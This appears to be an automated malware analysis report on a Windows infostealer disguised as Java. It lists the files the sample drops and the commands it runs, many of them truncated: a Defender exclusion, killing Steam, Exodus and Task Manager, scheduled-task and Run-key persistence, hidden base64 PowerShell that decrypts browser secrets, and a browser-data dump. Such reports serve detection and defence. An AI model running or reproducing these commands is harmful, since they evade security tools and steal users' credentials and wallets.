Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Add-MpPreference -ExclusionPath '%TEMP%\3IWPo9TzTsK9ApLHjltwmg3gQso\javaw.exe' -ErrorAction SilentlyContinue } catch {}"
Executes the following
- '<SYSTEM32>\taskkill.exe' /F /IM taskmgr.exe
- '<SYSTEM32>\taskkill.exe' /IM Steam.exe /F
- '<SYSTEM32>\taskkill.exe' /IM Exodus.exe /F
Injects code into
the following user processes:
- javaw.exe
Modifies file system
Creates the following files
- %TEMP%\nszc5ae.tmp\system.dll
- %TEMP%\nszc5ae.tmp\app-64.7z
- %TEMP%\nszc5ae.tmp\nsis7z.dll
- %TEMP%\nszc5ae.tmp\7z-out\chrome_100_percent.pak
- %TEMP%\nszc5ae.tmp\7z-out\chrome_200_percent.pak
- %TEMP%\nszc5ae.tmp\7z-out\icudtl.dat
- %TEMP%\nszc5ae.tmp\7z-out\license.electron.txt
- %TEMP%\nszc5ae.tmp\7z-out\licenses.chromium.html
- %TEMP%\nszc5ae.tmp\7z-out\locales\af.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\am.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\ar.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\bg.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\bn.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\ca.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\cs.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\da.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\de.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\el.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\en-gb.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\en-us.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\es-419.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\es.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\et.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\fa.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\fi.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\fil.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\fr.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\gu.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\he.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\hi.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\hr.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\hu.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\id.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\it.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\ja.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\kn.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\ko.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\lt.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\lv.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\ml.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\mr.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\ms.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\nb.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\nl.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\pl.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\pt-br.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\pt-pt.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\ro.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\ru.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\sk.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\sl.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\sr.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\sv.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\sw.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\ta.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\te.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\th.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\tr.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\uk.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\ur.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\vi.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\zh-cn.pak
- %TEMP%\nszc5ae.tmp\7z-out\locales\zh-tw.pak
- %TEMP%\nszc5ae.tmp\7z-out\resources\app.asar
- %TEMP%\nszc5ae.tmp\7z-out\resources\app.asar.unpacked\app-data\content.pkg
- %TEMP%\nszc5ae.tmp\7z-out\resources\app.asar.unpacked\app-data\session.store
- %TEMP%\nszc5ae.tmp\7z-out\resources.pak
- %TEMP%\nszc5ae.tmp\7z-out\snapshot_blob.bin
- %TEMP%\nszc5ae.tmp\7z-out\v8_context_snapshot.bin
- %TEMP%\nszc5ae.tmp\7z-out\vk_swiftshader_icd.json
- %TEMP%\nszc5ae.tmp\7z-out\d3dcompiler_47.dll
- %TEMP%\nszc5ae.tmp\7z-out\ffmpeg.dll
- %TEMP%\nszc5ae.tmp\7z-out\javaw.exe
- %TEMP%\nszc5ae.tmp\7z-out\libegl.dll
- %TEMP%\nszc5ae.tmp\7z-out\libglesv2.dll
- %TEMP%\nszc5ae.tmp\7z-out\resources\elevate.exe
- %TEMP%\nszc5ae.tmp\7z-out\vk_swiftshader.dll
- %TEMP%\nszc5ae.tmp\7z-out\vulkan-1.dll
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\chrome_100_percent.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\chrome_200_percent.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\d3dcompiler_47.dll
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\ffmpeg.dll
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\icudtl.dat
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\javaw.exe
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\libegl.dll
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\libglesv2.dll
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\license.electron.txt
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\licenses.chromium.html
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\resources.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\snapshot_blob.bin
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\v8_context_snapshot.bin
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\vk_swiftshader.dll
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\vk_swiftshader_icd.json
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\vulkan-1.dll
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\af.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\am.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\ar.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\bg.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\bn.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\ca.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\cs.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\da.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\de.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\el.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\en-gb.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\en-us.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\es-419.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\es.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\et.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\fa.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\fi.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\fil.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\fr.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\gu.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\he.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\hi.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\hr.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\hu.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\id.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\it.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\ja.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\kn.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\ko.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\lt.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\lv.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\ml.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\mr.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\ms.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\nb.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\nl.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\pl.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\pt-br.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\pt-pt.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\ro.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\ru.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\sk.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\sl.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\sr.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\sv.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\sw.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\ta.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\te.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\th.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\tr.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\uk.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\ur.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\vi.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\zh-cn.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\locales\zh-tw.pak
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\resources\app.asar
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\resources\elevate.exe
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\resources\app.asar.unpacked\app-data\content.pkg
- %TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\resources\app.asar.unpacked\app-data\session.store
- %TEMP%\nszc5ae.tmp\stdutils.dll
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\bootstrap.js
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\app-main.js
- %TEMP%\quest_trace.log
- nul
- %LOCALAPPDATA%\microsoft\winsvc\cache\boot.log
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\chrome_100_percent.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\chrome_200_percent.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\d3dcompiler_47.dll
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\ffmpeg.dll
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\icudtl.dat
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\javaw.exe
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\libegl.dll
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\libglesv2.dll
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\license.electron.txt
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\licenses.chromium.html
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\af.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\am.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\ar.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\bg.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\bn.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\ca.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\cs.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\da.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\de.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\el.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\en-gb.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\en-us.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\es-419.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\es.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\et.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\fa.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\fi.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\fil.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\fr.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\gu.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\he.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\hi.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\hr.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\hu.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\id.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\it.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\ja.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\kn.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\ko.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\lt.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\lv.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\ml.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\mr.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\ms.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\nb.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\nl.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\pl.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\pt-br.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\pt-pt.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\ro.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\ru.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\sk.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\sl.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\sr.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\sv.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\sw.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\ta.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\te.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\th.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\tr.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\uk.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\ur.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\vi.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\zh-cn.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\locales\zh-tw.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\resources\app.asar.unpacked\app-data\content.pkg
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\resources\app.asar.unpacked\app-data\session.store
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\resources\elevate.exe
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\resources.pak
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\snapshot_blob.bin
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\v8_context_snapshot.bin
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\vk_swiftshader.dll
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\vk_swiftshader_icd.json
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\vulkan-1.dll
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\<File name>.exe
- %LOCALAPPDATA%\microsoft\winsvc\cache\winsvclauncher.exe
- %LOCALAPPDATA%\microsoft\winsvc\cache\boot_launch.vbs
- %LOCALAPPDATA%\microsoft\winsvc\cache\boot_run.cmd
- %LOCALAPPDATA%\microsoft\winsvc\cache\boot_task.vbs
- %LOCALAPPDATA%\microsoft\winsvc\cache\winsvcruntimehost.xml
Deletes following files that it created itself
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\app-main.js
- %LOCALAPPDATA%\microsoft\winsvc\cache\runtime\bootstrap.js
Modifies the following files
Network activity
Connects to
- 'eq###dszxwq.com':443
- 'dn#.google':443
TCP
Other
- 'eq###dszxwq.com':443
- 'dn#.google':443
UDP
- DNS ASK eq###dszxwq.com
- DNS ASK dn#.google
Miscellaneous
Searches for the following windows
- ClassName: '#32770' WindowName: ''
Creates and executes the following
- '%TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\javaw.exe'
- '%TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\javaw.exe' --type=gpu-process --user-data-dir="%APPDATA%\mybuild" --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAAAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgA...
- '%TEMP%\3iwpo9tztsk9aplhjltwmg3gqso\javaw.exe' --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --user-data-dir="%APPDATA%\mybuild" --mojo-platform-channel-handle=1988 --field-trial-han...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Unblock-File -LiteralPath '%LOCALAPPDATA%\Microsoft\WinSvc\cache\runtime\javaw.exe' -ErrorAction SilentlyContinue"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Unblock-File -LiteralPath '%LOCALAPPDATA%\Microsoft\WinSvc\cache\WinSvcLauncher.exe' -ErrorAction SilentlyContinue"
Executes the following
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid"
- '<SYSTEM32>\reg.exe' query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid
- '<SYSTEM32>\cmd.exe' /d /s /c "net session"
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$tn='WinSvcRuntimeHost' $taskVbs='%LOCALAPPDATA%\Microsoft\WinSvc\cache\boot_task.vbs' $wd='%LOCALAPPDATA%\Microsoft\WinSvc\cache' $...
- '<SYSTEM32>\schtasks.exe' /Delete /TN WinSvcRuntimeHost /F
- '<SYSTEM32>\schtasks.exe' /Create /TN WinSvcRuntimeHost /XML %LOCALAPPDATA%\Microsoft\WinSvc\cache\WinSvcRuntimeHost.xml /F
- '<SYSTEM32>\schtasks.exe' /Query /TN WinSvcRuntimeHost
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$lnk='%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Java Platform SE.lnk' $target='<SYSTEM32>\wscript.exe' $args='//B //No...
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Java Platform SE binary" /t REG_SZ /d "\"<SYSTEM32>\wscript.exe\" //B //Nologo \"%LOCALAPPDATA%\Microsoft\WinSvc\cache\boot_launch.vbs...
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Java Platform SE binary"
- '<SYSTEM32>\reg.exe' query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Java Platform SE binary
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$paths=@( 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Po...
- '<SYSTEM32>\cmd.exe' /d /s /c "cscript //nologo //B "%TEMP%\system_check_1787966174387.vbs""
- '<SYSTEM32>\cscript.exe' //nologo //B "%TEMP%\system_check_1787966174387.vbs"
- '%ProgramFiles(x86)%\microsoft\edge\application\msedge.exe'
- '<SYSTEM32>\cmd.exe' /d /s /c "cmd /c powershell -NoP -NonI -W Hidden -Exec Bypass -C "Add-Type -AssemblyName System.Security;$_19gos9=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAARffMON4uAUOCSFoZ4f...
- '<SYSTEM32>\cmd.exe' /c powershell -NoP -NonI -W Hidden -Exec Bypass -C "Add-Type -AssemblyName System.Security;$_19gos9=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAARffMON4uAUOCSFoZ4fGQGhAAAAAKAAAA...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoP -NonI -W Hidden -Exec Bypass -C "Add-Type -AssemblyName System.Security;$_19gos9=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAARffMON4uAUOCSFoZ4fGQGhAAAAAKAAAARQBkAGcAZQAAAB...
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /IM Steam.exe /F"
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /IM Exodus.exe /F"
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "try { Add-MpPreference -ExclusionPath '%TEMP%\3IWPo9TzTsK9ApLHjltwmg3gQso\javaw.exe' -ErrorAction SilentlyContinue } catch {}"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "net session"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Unblock-File -LiteralPath '%LOCALAPPDATA%\Microsoft\WinSvc\cache\runtime\javaw.exe' -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Unblock-File -LiteralPath '%LOCALAPPDATA%\Microsoft\WinSvc\cache\WinSvcLauncher.exe' -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$tn='WinSvcRuntimeHost' $taskVbs='%LOCALAPPDATA%\Microsoft\WinSvc\cache\boot_task.vbs' $wd='%LOCALAPPDATA%\Microsoft\WinSvc\cache' $...' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Delete /TN WinSvcRuntimeHost /F' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Create /TN WinSvcRuntimeHost /XML %LOCALAPPDATA%\Microsoft\WinSvc\cache\WinSvcRuntimeHost.xml /F' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /Query /TN WinSvcRuntimeHost' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$lnk='%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Java Platform SE.lnk' $target='<SYSTEM32>\wscript.exe' $args='//B //No...' (with hidden window)
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Java Platform SE binary" /t REG_SZ /d "\"<SYSTEM32>\wscript.exe\" //B //Nologo \"%LOCALAPPDATA%\Microsoft\WinSvc\cache\boot_launch.vbs...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Java Platform SE binary"' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$paths=@( 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System', 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Po...' (with hidden window)
- '<SYSTEM32>\taskkill.exe' /F /IM taskmgr.exe' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "cscript //nologo //B "%TEMP%\system_check_1787966174387.vbs""' (with hidden window)
- '%TEMP%\winsvc\runtime\w1787966179246j0m8.exe' -k -o %LOCALAPPDATA%\quest-local\output\Browser-Datas all' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "cmd /c powershell -NoP -NonI -W Hidden -Exec Bypass -C "Add-Type -AssemblyName System.Security;$_19gos9=[Convert]::FromBase64String('AQAAANCMnd8BFdERjHoAwE/Cl+sBAAAARffMON4uAUOCSFoZ4f...' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /IM Steam.exe /F"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /d /s /c "taskkill /IM Exodus.exe /F"' (with hidden window)
